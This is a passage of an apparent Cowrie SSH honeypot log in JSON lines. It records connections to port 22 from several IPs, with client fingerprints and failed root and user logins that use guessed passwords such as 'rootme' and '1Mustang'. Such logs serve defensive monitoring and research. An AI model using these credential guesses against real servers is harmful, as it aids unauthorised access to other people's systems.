{"eventid":"cowrie.login.failed","username":"root","fingerprint":"89:94:8d:ac:2b:ef:7e:6b:b2:db:95:45:37:0d:29:b1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDH/TBBV7oDWpDoE2Pr5Ee39R7Uz/v0qf8SaMgru5ohQ149Z6sl6F6L851R5DBDe3DoRCH5/zilv4mtXz8JCFxOplJFPiZ4yxEFB5kbg7e5KxA7LLY19ZyZfWm3e6lTtuBhqHL9n/sCVOC2c5QcCUkXokCjYhh3qbtxNvF+LqSZ/T4LLiCJhc4c+4p9MFG5nYzp9+g5vNjzQ/00IkIfwvOYqLofTEtKqPERdu8iPl/gPnvpkA1SLs9hTA8vbymGBoMps5K7UGqHa9eDYAurEkfS3tBQqSWEP8B35bdBW242fw9zmH6XCPcDN5zWST6vYUZmudrfCcr23nWN4oXq31/B","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:11:12.644988Z","src_ip":"208.87.243.51","session":"42b1de72ae66","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"26:33:82:08:27:da:66:8f:f2:05:87:bb:44:5b:94:ac","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDq9FDf3aOx5L1LltFv1S/r/+WAswQ2+7r+GoDvbNS1tV5frJ552hfW4UD5Bk1AdNoUBFb6Jn1OhDz5BjcuQnHOk0axjzk6Mpv+e5oyPs63sHLy/yJFpHu6rESmHEp3Fn/uJFmudx/Ig6H28K46hFBGYQjYUpDsAS8Mie2nQ2bLEeadC/QXZvTwYWM27yUwShrSFIRe1iuJ0GRqJiT2oQ1jfSEc4vKmUDdBRoAxAvhd0hFZ0u4OZsZXEDWV7o+LROWJJOwd7y1ti6tbXEhrngTnHfNusU4oTp33LJzbqtaiBiqKoPQfUS4fA6dKGVc5lxtgMXv5KXh97gff3v80Dh57oc+VEaC1eSoQZy3cSJ6RXoB3k+GyctFEcGooSyXErSd9ai//LxtrlRTzAnNL2BduG5X+yBqk/SAF0diXVx6Mz0LLFByqXC5wqwbI2Fw+ts/I5DCVkM53cl8OZL0vtVT97thENhM1GJxh40e/IdPA7yiM/vloCVRXm/eYlw6CdWBK6vepSOWOIu/PASuJnGVWTRti5yflFOpg6q2Zkv3poN2V/435hR50kQieBb0lOLP3eehdCLElUtXQ8UQK8+MifoPtEZJauvN9N5eaVITnaCxwz2jeUxmcE97SAj/jHL1pqx4L38aXbhiGhlpU9Leg11igcVTj9GfOewQq1gaAgw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 26:33:82:08:27:da:66:8f:f2:05:87:bb:44:5b:94:ac","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:11:12.720947Z","src_ip":"208.87.243.51","session":"42b1de72ae66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"26:33:82:08:27:da:66:8f:f2:05:87:bb:44:5b:94:ac","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDq9FDf3aOx5L1LltFv1S/r/+WAswQ2+7r+GoDvbNS1tV5frJ552hfW4UD5Bk1AdNoUBFb6Jn1OhDz5BjcuQnHOk0axjzk6Mpv+e5oyPs63sHLy/yJFpHu6rESmHEp3Fn/uJFmudx/Ig6H28K46hFBGYQjYUpDsAS8Mie2nQ2bLEeadC/QXZvTwYWM27yUwShrSFIRe1iuJ0GRqJiT2oQ1jfSEc4vKmUDdBRoAxAvhd0hFZ0u4OZsZXEDWV7o+LROWJJOwd7y1ti6tbXEhrngTnHfNusU4oTp33LJzbqtaiBiqKoPQfUS4fA6dKGVc5lxtgMXv5KXh97gff3v80Dh57oc+VEaC1eSoQZy3cSJ6RXoB3k+GyctFEcGooSyXErSd9ai//LxtrlRTzAnNL2BduG5X+yBqk/SAF0diXVx6Mz0LLFByqXC5wqwbI2Fw+ts/I5DCVkM53cl8OZL0vtVT97thENhM1GJxh40e/IdPA7yiM/vloCVRXm/eYlw6CdWBK6vepSOWOIu/PASuJnGVWTRti5yflFOpg6q2Zkv3poN2V/435hR50kQieBb0lOLP3eehdCLElUtXQ8UQK8+MifoPtEZJauvN9N5eaVITnaCxwz2jeUxmcE97SAj/jHL1pqx4L38aXbhiGhlpU9Leg11igcVTj9GfOewQq1gaAgw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:11:12.724837Z","src_ip":"208.87.243.51","session":"42b1de72ae66","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a8:55:ec:30:23:6b:d1:6c:b4:ca:61:86:3c:9b:77:27","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9tI1++K55UWM1lUwmgn+ZFUyNOpgYNX6fF5odC1lP8hXttWLg3KRcArwItM+UKH95jAKWc3J3YrgcpuxEZCyxIlRigej+xW7M3pLRpSDl0KGUxhzZpEw8m6m0dCyNzk2VFR7oFi6/8I9Ap+TTy7smedYfbkEJEqW0if5YDa5iL2Mt3aNG4y3KoNk3ona7Wh3e+7FbJvnrpzlCE3dV8sMj/TeSEedxG3rZamWqO6ds1J6KDaASZ27RevM81rfkbLHTspc+4gDs6hjjwr39yaIV9PQb7Hyjw5pxP9m1xoOkbuSwP6Udl0rit3vLKsy16uUsOWPQ2plHuXqP/tHSc3nF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a8:55:ec:30:23:6b:d1:6c:b4:ca:61:86:3c:9b:77:27","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:11:12.801413Z","src_ip":"208.87.243.51","session":"42b1de72ae66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a8:55:ec:30:23:6b:d1:6c:b4:ca:61:86:3c:9b:77:27","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9tI1++K55UWM1lUwmgn+ZFUyNOpgYNX6fF5odC1lP8hXttWLg3KRcArwItM+UKH95jAKWc3J3YrgcpuxEZCyxIlRigej+xW7M3pLRpSDl0KGUxhzZpEw8m6m0dCyNzk2VFR7oFi6/8I9Ap+TTy7smedYfbkEJEqW0if5YDa5iL2Mt3aNG4y3KoNk3ona7Wh3e+7FbJvnrpzlCE3dV8sMj/TeSEedxG3rZamWqO6ds1J6KDaASZ27RevM81rfkbLHTspc+4gDs6hjjwr39yaIV9PQb7Hyjw5pxP9m1xoOkbuSwP6Udl0rit3vLKsy16uUsOWPQ2plHuXqP/tHSc3nF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:11:12.805335Z","src_ip":"208.87.243.51","session":"42b1de72ae66","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"14:3a:f2:50:e7:b0:f7:87:27:0e:e5:3a:fb:11:e9:c4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzqU+2HGGZiaJF8vM7VoeLfd7YVxXTotMELNi4luB25fRyQ5vDzhQTNUFlJkQj+QInjazukjN5wq0eQMBThaz/ajkmQWgq3bxwWBJiSkBvg3sHRF92x0pisU5Jcz1m2JJLRT3UgizNtbMtlkHD0HG//lQJbBjGklX3IJEBvPaZ5zchDyyKOmjDtWZSKLu67cprTv0ZDc3Eia/jaNFBS7llI5gS9EMULU7WFLJ3TDyRA7fb+vVJhn4EGpLWRm3Jnz7uFdFmDqg0AzPe5CC48QYKXDLNAFgsAMB79KCp96YaoyjdthTp5i/qjQdK9C8EephrJb+xacZZefzG9Xp7eF63Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 14:3a:f2:50:e7:b0:f7:87:27:0e:e5:3a:fb:11:e9:c4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:11:12.883544Z","src_ip":"208.87.243.51","session":"42b1de72ae66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"14:3a:f2:50:e7:b0:f7:87:27:0e:e5:3a:fb:11:e9:c4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzqU+2HGGZiaJF8vM7VoeLfd7YVxXTotMELNi4luB25fRyQ5vDzhQTNUFlJkQj+QInjazukjN5wq0eQMBThaz/ajkmQWgq3bxwWBJiSkBvg3sHRF92x0pisU5Jcz1m2JJLRT3UgizNtbMtlkHD0HG//lQJbBjGklX3IJEBvPaZ5zchDyyKOmjDtWZSKLu67cprTv0ZDc3Eia/jaNFBS7llI5gS9EMULU7WFLJ3TDyRA7fb+vVJhn4EGpLWRm3Jnz7uFdFmDqg0AzPe5CC48QYKXDLNAFgsAMB79KCp96YaoyjdthTp5i/qjQdK9C8EephrJb+xacZZefzG9Xp7eF63Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:11:12.886987Z","src_ip":"208.87.243.51","session":"42b1de72ae66","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cf:bb:ce:a1:66:1a:65:7c:d4:bd:20:ba:b2:3d:e6:67","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLvq3ClAQWgcKbZbi4rvq/I2f1rZEZ9J77W95ft0xYf3ny7icexPQvRwNDYWb10yXPqJC71forq4G+dsqbYqgtFrrxI8LnukSHBHJPnD5DFTPmiEmVnoXsEOuk5F66RmfNLMBuhBSAwYTXnB7zVKUcvz8EePam2wxYvAYdeqohST6fv71KbDCzLZk5SwpV+h//00Wq/oh6C2inEjR8ofUDHpWFhSMPcKPXeE96PEqMLA/u9cDFE1tLrIWJOH/dkUuRRp8ASGblHwgIscVTUt1/AJlRLtLQW54QlP7KHx+pnUZA+X17Ll0FBYVnQ/D8ryMZQ5Bt5lIxqybeyi4FsBhp","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cf:bb:ce:a1:66:1a:65:7c:d4:bd:20:ba:b2:3d:e6:67","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:11:12.962811Z","src_ip":"208.87.243.51","session":"42b1de72ae66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cf:bb:ce:a1:66:1a:65:7c:d4:bd:20:ba:b2:3d:e6:67","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLvq3ClAQWgcKbZbi4rvq/I2f1rZEZ9J77W95ft0xYf3ny7icexPQvRwNDYWb10yXPqJC71forq4G+dsqbYqgtFrrxI8LnukSHBHJPnD5DFTPmiEmVnoXsEOuk5F66RmfNLMBuhBSAwYTXnB7zVKUcvz8EePam2wxYvAYdeqohST6fv71KbDCzLZk5SwpV+h//00Wq/oh6C2inEjR8ofUDHpWFhSMPcKPXeE96PEqMLA/u9cDFE1tLrIWJOH/dkUuRRp8ASGblHwgIscVTUt1/AJlRLtLQW54QlP7KHx+pnUZA+X17Ll0FBYVnQ/D8ryMZQ5Bt5lIxqybeyi4FsBhp","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:11:12.966421Z","src_ip":"208.87.243.51","session":"42b1de72ae66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:11:13.042312Z","src_ip":"208.87.243.51","session":"42b1de72ae66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.228.74","src_port":33175,"dst_ip":"10.17.0.5","dst_port":22,"session":"0894375a8777","protocol":"ssh","message":"New connection: 168.167.228.74:33175 (10.17.0.5:22) [session: 0894375a8777]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:12:06.811692Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:12:06.815445Z","src_ip":"168.167.228.74","session":"0894375a8777","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:12:07.073105Z","src_ip":"168.167.228.74","session":"0894375a8777","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"root","message":"login attempt [esuser/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:12:08.138700Z","src_ip":"168.167.228.74","session":"0894375a8777","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:12:09.401688Z","src_ip":"168.167.228.74","session":"0894375a8777","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.228.74","src_port":33176,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce9dd67fd1ec","protocol":"ssh","message":"New connection: 168.167.228.74:33176 (10.17.0.5:22) [session: ce9dd67fd1ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:13:14.919025Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:13:14.924527Z","src_ip":"168.167.228.74","session":"ce9dd67fd1ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:13:15.184222Z","src_ip":"168.167.228.74","session":"ce9dd67fd1ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootme","message":"login attempt [root/rootme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:13:16.237888Z","src_ip":"168.167.228.74","session":"ce9dd67fd1ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:13:17.497678Z","src_ip":"168.167.228.74","session":"ce9dd67fd1ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":28622,"dst_ip":"10.17.0.5","dst_port":22,"session":"178e2f1e79ba","protocol":"ssh","message":"New connection: 194.59.206.2:28622 (10.17.0.5:22) [session: 178e2f1e79ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:13:23.455070Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:13:23.459430Z","src_ip":"194.59.206.2","session":"178e2f1e79ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:13:23.549748Z","src_ip":"194.59.206.2","session":"178e2f1e79ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:13:23.643516Z","src_ip":"194.59.206.2","session":"178e2f1e79ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":18630,"dst_ip":"159.203.135.109","dst_port":22,"session":"941ac6ed0507","protocol":"ssh","message":"New connection: 2.57.121.25:18630 (159.203.135.109:22) [session: 941ac6ed0507]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:13:25.800986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:13:25.806641Z","src_ip":"2.57.121.25","session":"941ac6ed0507","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:13:25.912527Z","src_ip":"2.57.121.25","session":"941ac6ed0507","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"20061977","message":"login attempt [user/20061977] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:13:26.405745Z","src_ip":"2.57.121.25","session":"941ac6ed0507","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1Mustang","message":"login attempt [user/1Mustang] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:13:27.513927Z","src_ip":"2.57.121.25","session":"941ac6ed0507","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1Dallas","message":"login attempt [user/1Dallas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:13:28.623247Z","src_ip":"2.57.121.25","session":"941ac6ed0507","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"84.239.42.8","src_port":54875,"dst_ip":"159.203.135.109","dst_port":22,"session":"73aa069fb8ed","protocol":"ssh","message":"New connection: 84.239.42.8:54875 (159.203.135.109:22) [session: 73aa069fb8ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:13:29.156979Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:13:29.161962Z","src_ip":"84.239.42.8","session":"73aa069fb8ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:13:29.289258Z","src_ip":"84.239.42.8","session":"73aa069fb8ed","protocol":"ssh"}
